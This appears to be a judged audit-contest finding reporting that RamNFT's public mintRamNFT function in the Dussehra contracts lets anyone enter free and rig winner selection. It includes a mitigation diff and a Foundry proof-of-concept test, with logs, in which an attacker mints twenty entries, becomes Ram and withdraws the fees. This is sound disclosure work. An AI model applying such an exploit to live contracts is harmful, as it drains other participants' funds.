Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Broken Access Control allows anyone to call `RamNFT::minRamNFT` resulting in players being able to participate without paying the entrance fee

Summary
A Broken Access Control allows anyone to call RamNFT::minRamNFT resulting in players being able to participate without paying the entrance fee and potentially becoming Ram and then claiming the winner's funds allocated for Ram.

Description
The mintRamNFT function does not implement suitable access control allowing anyone to repeatedly invoke the function, generate an NFT and participate in the event without paying the entrance fee. As this function can be called repeatedly, a malicious actor can invoke this function to increase their chances of becoming Ram. If the malicious actor becomes Ram they can then invoke the function Dussehra::withdraw and claim the money allocated to Ram after Ravan is killed via the function Dussehra::killRavana.

Impact
The protocol is fundamentally flawed due to the missing access control, which allows anyone to participate in the event without paying the entrance fee. Malicious actors can enter themselves as many times as they like to increase the chance of them becoming Ram and winning the percentage of fees allocated to Ram.

Code

// This function is missing a key access control modifier.
// Anyone can call this which enrols them into the event without paying.
// This can be called repeatedly, which would increase the chance of winning.
// Note: The token counter is used as the key for the mapping.
function mintRamNFT(address to) public {
uint256 newTokenId = tokenCounter++;
_safeMint(to, newTokenId);
Characteristics[newTokenId] = CharacteristicsOfRam({
ram: to,
isJitaKrodhah: false,
isDhyutimaan: false,
isVidvaan: false,
isAatmavan: false,
isSatyavaakyah: false
});
}

The organiser will invoke selectRamIfNotSelected to choose the winner. The tokenCounter is used as an upper-bounds for the random number so it can be used to map to a value in the RamNFT::Characteristics mapping.

function selectRamIfNotSelected() public RamIsNotSelected OnlyOrganiser {
if (block.timestamp < 1728691200) {
revert ChoosingRam__TimeToBeLikeRamIsNotFinish();
}
if (block.timestamp > 1728777600) {
revert ChoosingRam__EventIsFinished();
}
uint256 random = uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao))) % ramNFT.tokenCounter(); <--* Token counter
selectedRam = ramNFT.getCharacteristics(random).ram; <--* Select Ram
isRamSelected = true;
}

Recommended mitigation

The recommended mitigation is to add the access control as shown below to restrict who can call this function.

- function mintRamNFT(address to) public {
+ function mintRamNFT(address to) public onlyChoosingRamContract {
uint256 newTokenId = tokenCounter++;
_safeMint(to, newTokenId);
Characteristics[newTokenId] = CharacteristicsOfRam({
ram: to,
isJitaKrodhah: false,
isDhyutimaan: false,
isVidvaan: false,
isAatmavan: false,
isSatyavaakyah: false
});
}

Proof of Concept

Standalone test:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Test, console} from "forge-std/Test.sol";
import {Dussehra} from "../src/Dussehra.sol";
import {ChoosingRam} from "../src/ChoosingRam.sol";
import { mock } from "../src/mocks/mock.sol";
import {RamNFT} from "../src/RamNFT.sol";
contract AccessControlTest is Test {
Dussehra public dussehra;
RamNFT public ramNFT;
ChoosingRam public choosingRam;
address public organiser = makeAddr("organiser");
address public player1 = makeAddr("player1");
address public player2 = makeAddr("player2");
address public player3 = makeAddr("player3");
address public player4 = makeAddr("player4");
address public player5 = makeAddr("player5");
modifier participants5() {
vm.startPrank(player1);
vm.deal(player1, 1 ether);
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
vm.stopPrank();
vm.startPrank(player2);
vm.deal(player2, 1 ether);
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
vm.stopPrank();
vm.startPrank(player3);
vm.deal(player3, 1 ether);
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
vm.stopPrank();
vm.startPrank(player4);
vm.deal(player4, 1 ether);
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
vm.stopPrank();
vm.startPrank(player5);
vm.deal(player5, 1 ether);
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
vm.stopPrank();
_;
}
function setUp() public {
vm.startPrank(organiser);
ramNFT = new RamNFT();
choosingRam = new ChoosingRam(address(ramNFT));
dussehra = new Dussehra(1 ether, address(choosingRam),
address(ramNFT));
ramNFT.setChoosingRamContract(address(choosingRam));
vm.stopPrank();
}
function test_mint() public participants5 {
address attacker = makeAddr("attacker");
//attacker has no monies
assertEq(address(attacker).balance, 0);
// Stage one
// we stack the chances of a win which gives the attacker
// access to the contract funds via the withdraw function
// so the attacker enrols many times without even paying!
vm.startPrank(address(attacker));
ramNFT.mintRamNFT(address(attacker));
ramNFT.mintRamNFT(address(attacker));
ramNFT.mintRamNFT(address(attacker));
ramNFT.mintRamNFT(address(attacker));
ramNFT.mintRamNFT(address(attacker));
ramNFT.mintRamNFT(address(attacker));
ramNFT.mintRamNFT(address(attacker));
ramNFT.mintRamNFT(address(attacker));
ramNFT.mintRamNFT(address(attacker));
ramNFT.mintRamNFT(address(attacker));
ramNFT.mintRamNFT(address(attacker));
ramNFT.mintRamNFT(address(attacker));
ramNFT.mintRamNFT(address(attacker));
ramNFT.mintRamNFT(address(attacker));
ramNFT.mintRamNFT(address(attacker));
ramNFT.mintRamNFT(address(attacker));
ramNFT.mintRamNFT(address(attacker));
ramNFT.mintRamNFT(address(attacker));
ramNFT.mintRamNFT(address(attacker));
ramNFT.mintRamNFT(address(attacker));
vm.stopPrank();
// Check the accounting - oh no!
// lots of entries and the balance doesn't match what it should!?
console.log("Total fees taken for event: ",
address(dussehra).balance);
console.log("Number of participants is: ",
ramNFT.tokenCounter());
console.log("Expected fees taken: ",
ramNFT.tokenCounter() * dussehra.entranceFee());
console.log("Fees missing: ",
ramNFT.tokenCounter() * dussehra.entranceFee() -
address(dussehra).balance);
// organiser attempts to select Ram
vm.warp(1728691200 + 1);
vm.startPrank(organiser);
choosingRam.selectRamIfNotSelected();
// kill ravana
dussehra.killRavana();
vm.stopPrank();
// Ram is selected!
assertEq(choosingRam.isRamSelected(), true);
//Check the balance - half should be gone to the organiser
console.log("Total fees remaining after organiser's 50%% cut: ",
address(dussehra).balance);
//check ram is attacker
assertEq(choosingRam.selectedRam(), address(attacker));
// This is the amount that can be withdrawn by the winner (aka Ram).
uint256 winnersAmount = address(dussehra).balance;
console.log("Ram is: ", choosingRam.selectedRam());
console.log("Attacker is: ", address(attacker));
console.log("Total fees owned by Winner/Ram/attacker before withdraw: ",
address(attacker).balance);
// Stage 2
vm.startPrank(address(attacker));
dussehra.withdraw();
vm.stopPrank();
console.log("Total fees remaining in dussehra after withdraw: ",
address(dussehra).balance);
console.log("Total fees owned by Ram/attacker after withdraw: ",
address(attacker).balance);
assertEq(address(attacker).balance, winnersAmount );
}
}

Test Results:

forge test --match-path test/AccessControlTest.t.sol -vv
[⠊] Compiling...
[⠑] Compiling 1 files with 0.8.20
[⠘] Solc 0.8.20 finished in 4.69s
Compiler run successful!
Ran 1 test for test/AccessControlTest.t.sol:AccessControlTest
[PASS] test_mint() (gas: 1822229)
Logs:
Total fees taken for event: 5000000000000000000
Number of participants is: 25
Expected fees taken: 25000000000000000000
Fees missing: 20000000000000000000
Total fees remaining after organiser's 50% cut: 2500000000000000000
Ram is: 0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e
Attacker is: 0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e
Total fees owned by Winner/Ram/attacker before withdraw: 0
Total fees remaining in dussehra after withdraw: 0
Total fees owned by Ram/attacker after withdraw: 2500000000000000000
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.55ms (1.47ms CPU time)
Ran 1 test suite in 451.24ms (3.55ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

References
https://github.com/Cyfrin/2024-06-Dussehra/blob/9c86e1b09ed9516bfbb3851c145929806da75d87/src/RamNFT.sol#L49

Tools Used

  • Manual Review

Updates

Lead Judging Commences

bube Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

mintRamNFT is public

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!